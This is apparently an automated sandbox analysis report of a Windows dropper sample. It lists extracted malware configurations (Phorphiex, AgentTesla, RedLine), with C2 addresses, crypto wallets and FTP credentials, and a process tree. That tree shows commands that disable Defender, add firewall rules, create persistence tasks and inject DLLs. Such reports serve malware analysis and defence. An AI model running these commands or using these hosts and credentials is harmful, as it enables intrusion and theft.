Resubmissions
09/04/2024, 08:32
240409-kfg77aaf851009/04/2024, 08:32
240409-kfglnaaf841009/04/2024, 08:32
240409-kffz5aea2y1009/04/2024, 08:32
240409-kffpcsaf791011/03/2024, 08:03
240311-jxm94afe6y1010/03/2024, 15:15
240310-snee9sfd3y10Analysis
- max time kernel
54s - max time network
475s - platform
windows11-21h2_x64 - resource
win11-20240221-en - resource tags
- submitted
09/04/2024, 08:32
Errors
Reason
Machine shutdown
General
- Target FUCKER.exe
- Size 10KB
- Sample240409-kfg77aaf85
- SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
Score
10/10
Malware Config
Extracted
Family
-
phorphiex
C2
-
http://185.215.113.66/
Wallets
-
0xAa3ea4838e8E3F6a1922c6B67E3cD6efD1ff175b
-
THRUoPK7oYqF7YyKZJvPYwTH35JsPZVPto
-
1Hw9tx4KyTq4oRoLVhPb4hjDJcLhEa4Tn6
-
qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut
-
XtxFdsKkRN3oVDXtN2ipcHeNi87basT2sL
-
LXMNcn9D8FQKzGNLjdSyR9dEM8Rsh9NzyX
-
rwn7tb5KQjXEjH42GgdHWHec5PPhVgqhSH
-
ARML6g7zynrwUHJbFJCCzMPiysUFXYBGgQ
-
48jYpFT6bT8MTeph7VsyzCQeDsGHqdQNc2kUkRFJPzfRHHjarBvBtudPUtParMkDzZbYBrd3yntWBQcsnVBNeeMbN9EXifg
-
3PL7YCa4akNYzuScqQwiSbtTP9q9E9PLreC
-
3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3
-
D9AJWrbYsidS9rAU146ifLRu1fzX9oQYSH
-
t1gvVWHnjbGTsoWXEyoTFojc2GqEzBgvbEn
-
bnb1cgttf7t5hu7ud3c436ufhcmy59qnkd09adqczd
-
bc1q0fusmmgycnhsd5cadsuz2hk8d4maausjfjypqg
-
bitcoincash:qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut
-
GAUCC7ZBSU2KJMHXOZD6AP5LOBGKNDPCDNRYP2CO2ACR63YCSUBNT5QE
Extracted
Family
-
agenttesla
Credentials
-
Protocol
ftp
-
Host
ftp://ftp.siscop.com.co
-
Port
21
-
Username
-
Password
+5s48Ia2&-(t
Extracted
Family
-
redline
Botnet
-
siski
C2
-
168.119.242.255:7742
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Detect Lumma Stealer payload V2 1 IoCs
- Detect Lumma Stealer payload V4 1 IoCs
- Detect Xworm Payload 1 IoCs
- Detect ZGRat V1 32 IoCs
- Glupteba
Glupteba is a modular loader written in Golang with various components.
- Glupteba payload 7 IoCs
- Lumma Stealer
An infostealer written in C++ first seen in August 2022.
- Modifies firewall policy service 2 TTPs 1 IoCs
- Phorphiex
Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
- Process spawned unexpected child process 15 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar payload 1 IoCs
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 10 IoCs
- SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
- SectopRAT payload 2 IoCs
- Windows security bypass 2 TTPs 24 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- ZGRat
ZGRat is remote access trojan written in C#.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
- Downloads MZ/PE file
- Modifies Windows Firewall 2 TTPs 1 IoCs
- .NET Reactor proctector 1 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Executes dropped EXE 17 IoCs
- Themida packer 10 IoCs
Detects Themida, an advanced Windows software protection system.
- UPX packed file 1 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Windows security modification 2 TTPs 28 IoCs
- Adds Run key to start application 2 TTPs 8 IoCs
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 15 IoCs
- Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- AutoIT Executable 3 IoCs
AutoIT scripts compiled to PE executables.
- Drops file in System32 directory 4 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Drops file in Program Files directory 2 IoCs
- Drops file in Windows directory 9 IoCs
- Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 15 IoCs
- Creates scheduled task(s) 1 TTPs 25 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 2 IoCs
- Modifies registry class 2 IoCs
- Runs ping.exe 1 TTPs 2 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: SetClipboardViewer 2 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of WriteProcessMemory 62 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\FUCKER.exe"C:\Users\Admin\AppData\Local\Temp\FUCKER.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\npp.exe"C:\Users\Admin\AppData\Local\Temp\Files\npp.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\1981120061.exeC:\Users\Admin\AppData\Local\Temp\1981120061.exe3⤵
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\216382182.exeC:\Users\Admin\AppData\Local\Temp\216382182.exe4⤵
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: SetClipboardViewer
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\328410286.exeC:\Users\Admin\AppData\Local\Temp\328410286.exe5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\180932213.exeC:\Users\Admin\AppData\Local\Temp\180932213.exe5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\233683733.exeC:\Users\Admin\AppData\Local\Temp\233683733.exe5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\808628787.exeC:\Users\Admin\AppData\Local\Temp\808628787.exe5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\2565728307.exeC:\Users\Admin\AppData\Local\Temp\2565728307.exe4⤵
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
-
-
C:\Users\Admin\AppData\Local\Temp\393631562.exeC:\Users\Admin\AppData\Local\Temp\393631562.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\274826858.exeC:\Users\Admin\AppData\Local\Temp\274826858.exe4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c shutdown /r5⤵
-
C:\Windows\SysWOW64\shutdown.exeshutdown /r6⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\AppGate2103v01.exe"C:\Users\Admin\AppData\Local\Temp\Files\AppGate2103v01.exe"2⤵
- Modifies firewall policy service
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\SimpleAdobe\M42HgmNGqLaS_ZW4AAaOk7P0.exeC:\Users\Admin\Documents\SimpleAdobe\M42HgmNGqLaS_ZW4AAaOk7P0.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\DCRatBuild.exe"C:\Users\Admin\AppData\Local\Temp\Files\DCRatBuild.exe"2⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\PortproviderwinMonitorSvc\mfKYow52WThs6WxYPgYy8SvlAX398RVKTuVkRNatbU.vbe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\PortproviderwinMonitorSvc\vcwCtM23VtO7vZcBlCg44jyJmSVgI43HgFP0J6KvnQO3IbLY.bat" "4⤵
- Suspicious use of WriteProcessMemory
-
C:\PortproviderwinMonitorSvc\ContainerserverFontSavessession.exe"C:\PortproviderwinMonitorSvc/ContainerserverFontSavessession.exe"5⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\6nny8f82C5.bat"6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp 650017⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost7⤵
- Runs ping.exe
-
-
C:\odt\dllhost.exe"C:\odt\dllhost.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe"C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe"2⤵
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: SetClipboardViewer
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2657517237.exeC:\Users\Admin\AppData\Local\Temp\2657517237.exe3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\29087837.exeC:\Users\Admin\AppData\Local\Temp\29087837.exe3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\56319815.exeC:\Users\Admin\AppData\Local\Temp\56319815.exe3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\312522153.exeC:\Users\Admin\AppData\Local\Temp\312522153.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1369712451.exeC:\Users\Admin\AppData\Local\Temp\1369712451.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\1858214756.exeC:\Users\Admin\AppData\Local\Temp\1858214756.exe4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }5⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\LoaderAVX.exe"C:\Users\Admin\AppData\Local\Temp\Files\LoaderAVX.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\e0cbefcb1af40c7d4aff4aca26621a98.exe"C:\Users\Admin\AppData\Local\Temp\Files\e0cbefcb1af40c7d4aff4aca26621a98.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Files\e0cbefcb1af40c7d4aff4aca26621a98.exe"C:\Users\Admin\AppData\Local\Temp\Files\e0cbefcb1af40c7d4aff4aca26621a98.exe"3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"4⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes5⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F5⤵
- Creates scheduled task(s)
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f5⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll5⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F5⤵
- Creates scheduled task(s)
-
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"5⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)7⤵
- Launches sc.exe
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\medcallaboratory5.exe"C:\Users\Admin\AppData\Local\Temp\Files\medcallaboratory5.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Users\Admin\AppData\Local\Temp\Files\medcallaboratory5.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\alex12341.exe"C:\Users\Admin\AppData\Local\Temp\Files\alex12341.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\configurationValue\olehpsp.exe"C:\Users\Admin\AppData\Roaming\configurationValue\olehpsp.exe"4⤵
-
-
C:\Users\Admin\AppData\Roaming\configurationValue\TWO.exe"C:\Users\Admin\AppData\Roaming\configurationValue\TWO.exe"4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\bc_memories_from_the_mcp.exe"C:\Users\Admin\AppData\Local\Temp\Files\bc_memories_from_the_mcp.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Mtkfarukc.exe"C:\Users\Admin\AppData\Local\Temp\Files\Mtkfarukc.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Vbnhtlkdfw.exe"C:\Users\Admin\AppData\Local\Temp\Files\Vbnhtlkdfw.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\hack1226.exe"C:\Users\Admin\AppData\Local\Temp\Files\hack1226.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Nzewxakqtk.exe"C:\Users\Admin\AppData\Local\Temp\Files\Nzewxakqtk.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\asas.exe"C:\Users\Admin\AppData\Local\Temp\Files\asas.exe"2⤵
-
C:\Windows\System32\werfault.exe\??\C:\Windows\System32\werfault.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\trust12344.exe"C:\Users\Admin\AppData\Local\Temp\Files\trust12344.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe"C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Document.exe"C:\Users\Admin\AppData\Local\Temp\Files\Document.exe"2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Files\Document.exe"3⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\gYVTyaODtj.exe"3⤵
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gYVTyaODtj" /XML "C:\Users\Admin\AppData\Local\Temp\tmp4E74.tmp"3⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Document.exe"C:\Users\Admin\AppData\Local\Temp\Files\Document.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "msdtc" /tr '"C:\Users\Admin\AppData\Roaming\msdtc.exe"' & exit4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "msdtc" /tr '"C:\Users\Admin\AppData\Roaming\msdtc.exe"'5⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp8A64.tmp.bat""4⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 35⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Roaming\msdtc.exe"C:\Users\Admin\AppData\Roaming\msdtc.exe"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\msdtc.exe"6⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\gYVTyaODtj.exe"6⤵
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gYVTyaODtj" /XML "C:\Users\Admin\AppData\Local\Temp\tmp3605.tmp"6⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\AppData\Roaming\msdtc.exe"C:\Users\Admin\AppData\Roaming\msdtc.exe"6⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\s1.exe"C:\Users\Admin\AppData\Local\Temp\Files\s1.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\dsdasda.exe"C:\Users\Admin\AppData\Local\Temp\Files\dsdasda.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 7964⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Tinder%20Bot.exe"C:\Users\Admin\AppData\Local\Temp\Files\Tinder%20Bot.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\kb^fr_ouverture.exe"C:\Users\Admin\AppData\Local\Temp\Files\kb^fr_ouverture.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5792 -s 7163⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\redlinepanel.exe"C:\Users\Admin\AppData\Local\Temp\Files\redlinepanel.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\wininit.exe"C:\Users\Admin\AppData\Local\Temp\Files\wininit.exe"2⤵
-
C:\Users\Admin\AppData\Local\directory\word.exe"C:\Users\Admin\AppData\Local\Temp\Files\wininit.exe"3⤵
-
C:\Windows\SysWOW64\svchost.exe"C:\Users\Admin\AppData\Local\Temp\Files\wininit.exe"4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\install.exe"C:\Users\Admin\AppData\Local\Temp\Files\install.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Tdkdsxz.exe"C:\Users\Admin\AppData\Local\Temp\Files\Tdkdsxz.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\EchoNavigator.exe"C:\Users\Admin\AppData\Local\Temp\Files\EchoNavigator.exe"2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -nologo -noprofile -noninteractive -executionpolicy bypass -command .\serverBrowser.ps13⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe"C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Assistenza%20Launcher.exe"C:\Users\Admin\AppData\Local\Temp\Files\Assistenza%20Launcher.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\martinvnc.exe"C:\Users\Admin\AppData\Local\Temp\Files\martinvnc.exe"2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\mk.exe"C:\Users\Admin\AppData\Local\Temp\Files\mk.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe"C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\23.exe"C:\Users\Admin\AppData\Local\Temp\Files\23.exe"2⤵
-
C:\Users\Admin\AppData\Roaming\telemetry\svcservice.exe"C:\Users\Admin\AppData\Roaming\telemetry\svcservice.exe"3⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2056 -s 12483⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\mysto.exe"C:\Users\Admin\AppData\Local\Temp\Files\mysto.exe"2⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.vbs"3⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\SearchUI.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\SearchUI.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\RuntimeBroker.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\RuntimeBroker.exe"4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"2⤵
-
-
C:\Users\Admin\AppData\Roaming\msdt\VCDDaemon.exeC:\Users\Admin\AppData\Roaming\msdt\VCDDaemon.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Max.exe"C:\Users\Admin\AppData\Local\Temp\Files\Max.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\jet.exe"C:\Users\Admin\AppData\Local\Temp\Files\jet.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\well.exe"C:\Users\Admin\AppData\Local\Temp\Files\well.exe"2⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x10c,0x110,0x114,0xe8,0x118,0x7ff84f3f9758,0x7ff84f3f9768,0x7ff84f3f97784⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1664 --field-trial-handle=2352,i,15917643529396111735,18106435595484679046,131072 /prefetch:24⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1888 --field-trial-handle=2352,i,15917643529396111735,18106435595484679046,131072 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1924 --field-trial-handle=2352,i,15917643529396111735,18106435595484679046,131072 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3076 --field-trial-handle=2352,i,15917643529396111735,18106435595484679046,131072 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3092 --field-trial-handle=2352,i,15917643529396111735,18106435595484679046,131072 /prefetch:14⤵
-
-
